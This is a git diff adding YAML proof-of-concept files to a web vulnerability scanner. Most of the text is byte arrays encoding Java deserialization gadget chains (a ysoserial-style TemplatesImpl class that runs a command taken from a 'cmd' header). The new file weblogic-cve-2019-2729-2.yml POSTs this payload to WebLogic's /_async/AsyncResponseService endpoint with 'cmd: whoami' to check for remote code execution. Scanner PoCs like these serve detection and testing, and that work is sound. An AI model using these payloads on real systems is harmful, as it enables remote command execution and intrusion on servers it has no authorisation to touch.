115 + + + 115 + + + 7 + + + 0 + + + -116 + + + 1 + + + 0 + + + 14 + + + 103 + + + 101 + + + 116 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 1 + + + 0 + + + 23 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 12 + + + 0 + + + -114 + + + 0 + + + -113 + + + 10 + + + 0 + + + -115 + + + 0 + + + -112 + + + 1 + + + 0 + + + 42 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 10 + + + 0 + + + -110 + + + 10 + + + 0 + + + -117 + + + 0 + + + -109 + + + 1 + + + 0 + + + 19 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 82 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 10 + + + 0 + + + -107 + + + 10 + + + 0 + + + -119 + + + 0 + + + -106 + + + 1 + + + 0 + + + 0 + + + 8 + + + 0 + + + -104 + + + 1 + + + 0 + + + 8 + + + 114 + + + 101 + + + 97 + + + 100 + + + 76 + + + 105 + + + 110 + + + 101 + + + 12 + + + 0 + + + -102 + + + 0 + + + 90 + + + 10 + + + 0 + + + -119 + + + 0 + + + -101 + + + 1 + + + 0 + + + 9 + + + 103 + + + 101 + + + 116 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 1 + + + 0 + + + 23 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + -99 + + + 0 + + + -98 + + + 10 + + + 0 + + + 69 + + + 0 + + + -97 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 87 + + + 114 + + + 105 + + + 116 + + + 101 + + + 114 + + + 7 + + + 0 + + + -95 + + + 1 + + + 0 + + + 5 + + + 119 + + + 114 + + + 105 + + + 116 + + + 101 + + + 12 + + + 0 + + + -93 + + + 0 + + + 71 + + + 10 + + + 0 + + + -94 + + + 0 + + + -92 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 7 + + + 0 + + + -90 + + + 1 + + + 0 + + + 3 + + + 111 + + + 117 + + + 116 + + + 1 + + + 0 + + + 21 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 12 + + + 0 + + + -88 + + + 0 + + + -87 + + + 9 + + + 0 + + + 107 + + + 0 + + + -86 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 111 + + + 119 + + + 97 + + + 98 + + + 108 + + + 101 + + + 7 + + + 0 + + + -84 + + + 10 + + + 0 + + + -83 + + + 0 + + + 91 + + + 1 + + + 0 + + + 19 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 80 + + + 114 + + + 105 + + + 110 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 7 + + + 0 + + + -81 + + + 1 + + + 0 + + + 7 + + + 112 + + + 114 + + + 105 + + + 110 + + + 116 + + + 108 + + + 110 + + + 12 + + + 0 + + + -79 + + + 0 + + + 71 + + + 10 + + + 0 + + + -80 + + + 0 + + + -78 + + + 1 + + + 0 + + + 15 + + + 112 + + + 114 + + + 105 + + + 110 + + + 116 + + + 83 + + + 116 + + + 97 + + + 99 + + + 107 + + + 84 + + + 114 + + + 97 + + + 99 + + + 101 + + + 12 + + + 0 + + + -76 + + + 0 + + + 11 + + + 10 + + + 0 + + + -83 + + + 0 + + + -75 + + + 1 + + + 0 + + + 13 + + + 83 + + + 116 + + + 97 + + + 99 + + + 107 + + + 77 + + + 97 + + + 112 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 29 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 80 + + + 119 + + + 110 + + + 101 + + + 114 + + + 52 + + + 53 + + + 52 + + + 51 + + + 56 + + + 51 + + + 49 + + + 52 + + + 50 + + + 55 + + + 56 + + + 57 + + + 57 + + + 50 + + + 1 + + + 0 + + + 31 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 80 + + + 119 + + + 110 + + + 101 + + + 114 + + + 52 + + + 53 + + + 52 + + + 51 + + + 56 + + + 51 + + + 49 + + + 52 + + + 50 + + + 55 + + + 56 + + + 57 + + + 57 + + + 50 + + + 59 + + + 0 + + + 33 + + + 0 + + + 2 + + + 0 + + + 3 + + + 0 + + + 1 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 5 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 7 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 8 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 10 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 42 + + + -73 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 12 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 0 + + + 15 + + + 0 + + + -71 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 19 + + + 0 + + + 20 + + + 0 + + + 2 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 63 + + + 0 + + + 0 + + + 0 + + + 3 + + + 0 + + + 0 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 52 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 32 + + + 0 + + + 3 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 15 + + + 0 + + + -71 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 21 + + + 0 + + + 22 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 23 + + + 0 + + + 24 + + + 0 + + + 2 + + + 0 + + + 25 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 1 + + + 0 + + + 19 + + + 0 + + + 27 + + + 0 + + + 2 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 73 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 0 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 56 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 42 + + + 0 + + + 4 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 15 + + + 0 + + + -71 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 21 + + + 0 + + + 22 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 28 + + + 0 + + + 29 + + + 0 + + + 2 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 30 + + + 0 + + + 31 + + + 0 + + + 3 + + + 0 + + + 25 + + + 0 + + + 0 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 8 + + + 0 + + + 41 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 1 + + + 114 + + + 0 + + + 7 + + + 0 + + + 11 + + + 0 + + + 0 + + + 1 + + + 18 + + + -89 + + + 0 + + + 3 + + + 1 + + + 76 + + + -72 + + + 0 + + + 47 + + + -64 + + + 0 + + + 49 + + + -74 + + + 0 + + + 53 + + + -64 + + + 0 + + + 55 + + + 18 + + + 57 + + + -74 + + + 0 + + + 61 + + + 77 + + + -72 + + + 0 + + + 47 + + + -64 + + + 0 + + + 49 + + + -74 + + + 0 + + + 53 + + + -64 + + + 0 + + + 55 + + + -74 + + + 0 + + + 65 + + + 78 + + + 45 + + + 18 + + + 67 + + + -74 + + + 0 + + + 73 + + + 45 + + + -74 + + + 0 + + + 77 + + + 58 + + + 4 + + + 25 + + + 4 + + + -69 + + + 0 + + + 79 + + + 89 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 44 + + + -74 + + + 0 + + + 86 + + + 18 + + + 88 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + -73 + + + 0 + + + 94 + + + -74 + + + 0 + + + 100 + + + 25 + + + 4 + + + -74 + + + 0 + + + 103 + + + 18 + + + 105 + + + -72 + + + 0 + + + 110 + + + 58 + + + 5 + + + 25 + + + 5 + + + 1 + + + -91 + + + 0 + + + 16 + + + 25 + + + 5 + + + -74 + + + 0 + + + 115 + + + 18 + + + 117 + + + -74 + + + 0 + + + 121 + + + -102 + + + 0 + + + 6 + + + -89 + + + 0 + + + 33 + + + -72 + + + 0 + + + 127 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 18 + + + -127 + + + -74 + + + 0 + + + 86 + + + 44 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + -74 + + + 0 + + + -123 + + + 58 + + + 6 + + + -89 + + + 0 + + + 30 + + + -72 + + + 0 + + + 127 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 18 + + + -121 + + + -74 + + + 0 + + + 86 + + + 44 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + -74 + + + 0 + + + -123 + + + 58 + + + 6 + + + -69 + + + 0 + + + -119 + + + 89 + + + -69 + + + 0 + + + -117 + + + 89 + + + 25 + + + 6 + + + -74 + + + 0 + + + -111 + + + 18 + + + 67 + + + -73 + + + 0 + + + -108 + + + -73 + + + 0 + + + -105 + + + 58 + + + 7 + + + 1 + + + 58 + + + 8 + + + 18 + + + -103 + + + 58 + + + 9 + + + -89 + + + 0 + + + 25 + + + -69 + + + 0 + + + 81 + + + 89 + + + -73 + + + 0 + + + 82 + + + 25 + + + 9 + + + -74 + + + 0 + + + 86 + + + 25 + + + 8 + + + -74 + + + 0 + + + 86 + + + -74 + + + 0 + + + 92 + + + 58 + + + 9 + + + 25 + + + 7 + + + -74 + + + 0 + + + -100 + + + 89 + + + 58 + + + 8 + + + 1 + + + -90 + + + -1 + + + -31 + + + 45 + + + -74 + + + 0 + + + -96 + + + 25 + + + 9 + + + -74 + + + 0 + + + -91 + + + -89 + + + 0 + + + 24 + + + 58 + + + 10 + + + -78 + + + 0 + + + -85 + + + 25 + + + 10 + + + -74 + + + 0 + + + -82 + + + -74 + + + 0 + + + -77 + + + 25 + + + 10 + + + -74 + + + 0 + + + -74 + + + -89 + + + 0 + + + 3 + + + -79 + + + 0 + + + 1 + + + 0 + + + 94 + + + 0 + + + -7 + + + 0 + + + -4 + + + 0 + + + -89 + + + 0 + + + 1 + + + 0 + + + -73 + + + 0 + + + 0 + + + 0 + + + 70 + + + 0 + + + 9 + + + 3 + + + -1 + + + 0 + + + 109 + + + 0 + + + 6 + + + 0 + + + 5 + + + 7 + + + 0 + + + 112 + + + 7 + + + 0 + + + 69 + + + 7 + + + 0 + + + 96 + + + 7 + + + 0 + + + 112 + + + 0 + + + 0 + + + 2 + + + 29 + + + -4 + + + 0 + + + 26 + + + 7 + + + 0 + + + -115 + + + -2 + + + 0 + + + 32 + + + 7 + + + 0 + + + -119 + + + 7 + + + 0 + + + 112 + + + 7 + + + 0 + + + 112 + + + 21 + + + -1 + + + 0 + + + 23 + + + 0 + + + 6 + + + 0 + + + 5 + + + 7 + + + 0 + + + 112 + + + 7 + + + 0 + + + 69 + + + 7 + + + 0 + + + 96 + + + 7 + + + 0 + + + 112 + + + 0 + + + 1 + + + 7 + + + 0 + + + -89 + + + 20 + + + 0 + + + 2 + + + 0 + + + 32 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 33 + + + 0 + + + 17 + + + 0 + + + 0 + + + 0 + + + 10 + + + 0 + + + 1 + + + 0 + + + 2 + + + 0 + + + 35 + + + 0 + + + 16 + + + 0 + + + 9 + + + 117 + + + 113 + + + 0 + + + 126 + + + 0 + + + 13 + + + 0 + + + 0 + + + 1 + + + -44 + + + -54 + + + -2 + + + -70 + + + -66 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + 27 + + + 10 + + + 0 + + + 3 + + + 0 + + + 21 + + + 7 + + + 0 + + + 23 + + + 7 + + + 0 + + + 24 + + + 7 + + + 0 + + + 25 + + + 1 + + + 0 + + + 16 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 86 + + + 101 + + + 114 + + + 115 + + + 105 + + + 111 + + + 110 + + + 85 + + + 73 + + + 68 + + + 1 + + + 0 + + + 1 + + + 74 + + + 1 + + + 0 + + + 13 + + + 67 + + + 111 + + + 110 + + + 115 + + + 116 + + + 97 + + + 110 + + + 116 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 5 + + + 113 + + + -26 + + + 105 + + + -18 + + + 60 + + + 109 + + + 71 + + + 24 + + + 1 + + + 0 + + + 6 + + + 60 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 3 + + + 40 + + + 41 + + + 86 + + + 1 + + + 0 + + + 4 + + + 67 + + + 111 + + + 100 + + + 101 + + + 1 + + + 0 + + + 15 + + + 76 + + + 105 + + + 110 + + + 101 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 18 + + + 76 + + + 111 + + + 99 + + + 97 + + + 108 + + + 86 + + + 97 + + + 114 + + + 105 + + + 97 + + + 98 + + + 108 + + + 101 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 4 + + + 116 + + + 104 + + + 105 + + + 115 + + + 1 + + + 0 + + + 3 + + + 70 + + + 111 + + + 111 + + + 1 + + + 0 + + + 12 + + + 73 + + + 110 + + + 110 + + + 101 + + + 114 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 1 + + + 0 + + + 37 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 70 + + + 111 + + + 111 + + + 59 + + + 1 + + + 0 + + + 10 + + + 83 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 70 + + + 105 + + + 108 + + + 101 + + + 1 + + + 0 + + + 12 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 46 + + + 106 + + + 97 + + + 118 + + + 97 + + + 12 + + + 0 + + + 10 + + + 0 + + + 11 + + + 7 + + + 0 + + + 26 + + + 1 + + + 0 + + + 35 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 70 + + + 111 + + + 111 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 79 + + + 98 + + + 106 + + + 101 + + + 99 + + + 116 + + + 1 + + + 0 + + + 20 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 31 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 0 + + + 33 + + + 0 + + + 2 + + + 0 + + + 3 + + + 0 + + + 1 + + + 0 + + + 4 + + + 0 + + + 1 + + + 0 + + + 26 + + + 0 + + + 5 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 7 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 8 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 10 + + + 0 + + + 11 + + + 0 + + + 1 + + + 0 + + + 12 + + + 0 + + + 0 + + + 0 + + + 47 + + + 0 + + + 1 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 42 + + + -73 + + + 0 + + + 1 + + + -79 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 13 + + + 0 + + + 0 + + + 0 + + + 6 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 60 + + + 0 + + + 14 + + + 0 + + + 0 + + + 0 + + + 12 + + + 0 + + + 1 + + + 0 + + + 0 + + + 0 + + + 5 + + + 0 + + + 15 + + + 0 + + + 18 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 19 + + + 0 + + + 0 + + + 0 + + + 2 + + + 0 + + + 20 + + + 0 + + + 17 + + + 0 + + + 0 + + + 0 + + + 10 + + + 0 + + + 1 + + + 0 + + + 2 + + + 0 + + + 22 + + + 0 + + + 16 + + + 0 + + + 9 + + + 112 + + + 116 + + + 0 + + + 4 + + + 80 + + + 119 + + + 110 + + + 114 + + + 112 + + + 119 + + + 1 + + + 0 + + + 120 + + + 115 + + + 125 + + + 0 + + + 0 + + + 0 + + + 1 + + + 0 + + + 29 + + + 106 + + + 97 + + + 118 + + + 97 + + + 120 + + + 46 + + + 120 + + + 109 + + + 108 + + + 46 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 120 + + + 114 + + + 0 + + + 23 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 108 + + + 97 + + + 110 + + + 103 + + + 46 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 46 + + + 80 + + + 114 + + + 111 + + + 120 + + + 121 + + + -31 + + + 39 + + + -38 + + + 32 + + + -52 + + + 16 + + + 67 + + + -53 + + + 2 + + + 0 + + + 1 + + + 76 + + + 0 + + + 1 + + + 104 + + + 116 + + + 0 + + + 37 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 47 + + + 73 + + + 110 + + + 118 + + + 111 + + + 99 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 120 + + + 112 + + + 115 + + + 114 + + + 0 + + + 50 + + + 115 + + + 117 + + + 110 + + + 46 + + + 114 + + + 101 + + + 102 + + + 108 + + + 101 + + + 99 + + + 116 + + + 46 + + + 97 + + + 110 + + + 110 + + + 111 + + + 116 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 46 + + + 65 + + + 110 + + + 110 + + + 111 + + + 116 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 73 + + + 110 + + + 118 + + + 111 + + + 99 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 85 + + + -54 + + + -11 + + + 15 + + + 21 + + + -53 + + + 126 + + + -91 + + + 2 + + + 0 + + + 2 + + + 76 + + + 0 + + + 12 + + + 109 + + + 101 + + + 109 + + + 98 + + + 101 + + + 114 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 115 + + + 116 + + + 0 + + + 15 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 77 + + + 97 + + + 112 + + + 59 + + + 76 + + + 0 + + + 4 + + + 116 + + + 121 + + + 112 + + + 101 + + + 116 + + + 0 + + + 17 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 59 + + + 120 + + + 112 + + + 115 + + + 114 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 72 + + + 97 + + + 115 + + + 104 + + + 77 + + + 97 + + + 112 + + + 5 + + + 7 + + + -38 + + + -63 + + + -61 + + + 22 + + + 96 + + + -47 + + + 3 + + + 0 + + + 2 + + + 70 + + + 0 + + + 10 + + + 108 + + + 111 + + + 97 + + + 100 + + + 70 + + + 97 + + + 99 + + + 116 + + + 111 + + + 114 + + + 73 + + + 0 + + + 9 + + + 116 + + + 104 + + + 114 + + + 101 + + + 115 + + + 104 + + + 111 + + + 108 + + + 100 + + + 120 + + + 112 + + + 63 + + + 64 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 12 + + + 119 + + + 8 + + + 0 + + + 0 + + + 0 + + + 16 + + + 0 + + + 0 + + + 0 + + + 1 + + + 116 + + + 0 + + + 8 + + + 102 + + + 53 + + + 97 + + + 53 + + + 97 + + + 54 + + + 48 + + + 56 + + + 113 + + + 0 + + + 126 + + + 0 + + + 9 + + + 120 + + + 118 + + + 114 + + + 0 + + + 29 + + + 106 + + + 97 + + + 118 + + + 97 + + + 120 + + + 46 + + + 120 + + + 109 + + + 108 + + + 46 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 120 + + + 112 + + + 120 + + + + + + + + + + + + follow_redirects: false + expression: 'response.status == 200 && response.body.bcontains(b"whoami :")' \ No newline at end of file diff --git a/webscan/pocs/weblogic-cve-2019-2729-2.yml b/webscan/pocs/weblogic-cve-2019-2729-2.yml new file mode 100644 index 0000000..db34c1c --- /dev/null +++ b/webscan/pocs/weblogic-cve-2019-2729-2.yml @@ -0,0 +1,10473 @@ +name: poc-yaml-weblogic-cve-2019-2729-2 +rules: + - method: POST + path: /_async/AsyncResponseService + headers: + Content-Type: text/xml + cmd: whoami + body: |- + + + + xx + xx + + + + oracle.toplink.internal.sessions.UnitOfWorkChangeSet + + + + -84 + + + -19 + + + 0 + + + 5 + + + 115 + + + 114 + + + 0 + + + 23 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 76 + + + 105 + + + 110 + + + 107 + + + 101 + + + 100 + + + 72 + + + 97 + + + 115 + + + 104 + + + 83 + + + 101 + + + 116 + + + -40 + + + 108 + + + -41 + + + 90 + + + -107 + + + -35 + + + 42 + + + 30 + + + 2 + + + 0 + + + 0 + + + 120 + + + 114 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 72 + + + 97 + + + 115 + + + 104 + + + 83 + + + 101 + + + 116 + + + -70 + + + 68 + + + -123 + + + -107 + + + -106 + + + -72 + + + -73 + + + 52 + + + 3 + + + 0 + + + 0 + + + 120 + + + 112 + + + 119 + + + 12 + + + 0 + + + 0 + + + 0 + + + 16 + + + 63 + + + 64 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 2 + + + 115 + + + 114 + + + 0 + + + 58 + + + 99 + + + 111 + + + 109 + + + 46 + + + 115 + + + 117 + + + 110 + + + 46 + + + 111 + + + 114 + + + 103 + + + 46 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 46 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 46 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 46 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 46 + + + 116 + + + 114 + + + 97 + + + 120 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 73 + + + 109 + + + 112 + + + 108 + + + 9 + + + 87 + + + 79 + + + -63 + + + 110 + + + -84 + + + -85 + + + 51 + + + 3 + + + 0 + + + 6 + + + 73 + + + 0 + + + 13 + + + 95 + + + 105 + + + 110 + + + 100 + + + 101 + + + 110 + + + 116 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 73 + + + 0 + + + 14 + + + 95 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 73 + + + 110 + + + 100 + + + 101 + + + 120 + + + 91 + + + 0 + + + 10 + + + 95 + + + 98 + + + 121 + + + 116 + + + 101 + + + 99 + + + 111 + + + 100 + + + 101 + + + 115 + + + 116 + + + 0 + + + 3 + + + 91 + + + 91 + + + 66 + + + 91 + + + 0 + + + 6 + + + 95 + + + 99 + + + 108 + + + 97 + + + 115 + + + 115 + + + 116 + + + 0 + + + 18 + + + 91 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 59 + + + 76 + + + 0 + + + 5 + + + 95 + + + 110 + + + 97 + + + 109 + + + 101 + + + 116 + + + 0 + + + 18 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 76 + + + 0 + + + 17 + + + 95 + + + 111 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 105 + + + 101 + + + 115 + + + 116 + + + 0 + + + 22 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 105 + + + 101 + + + 115 + + + 59 + + + 120 + + + 112 + + + 0 + + + 0 + + + 0 + + + 0 + + + -1 + + + -1 + + + -1 + + + -1 + + + 117 + + + 114 + + + 0 + + + 3 + + + 91 + + + 91 + + + 66 + + + 75 + + + -3 + + + 25 + + + 21 + + + 103 + + + 103 + + + -37 + + + 55 + + + 2 + + + 0 + + + 0 + + + 120 + + + 112 + + + 0 + + + 0 + + + 0 + + + 2 + + + 117 + + + 114 + + + 0 + + + 2 + + + 91 + + + 66 + + + -84 + + + -13 + + + 23 + + + -8 + + + 6 + + + 8 + + + 84 + + + -32 + + + 2 + + + 0 + + + 0 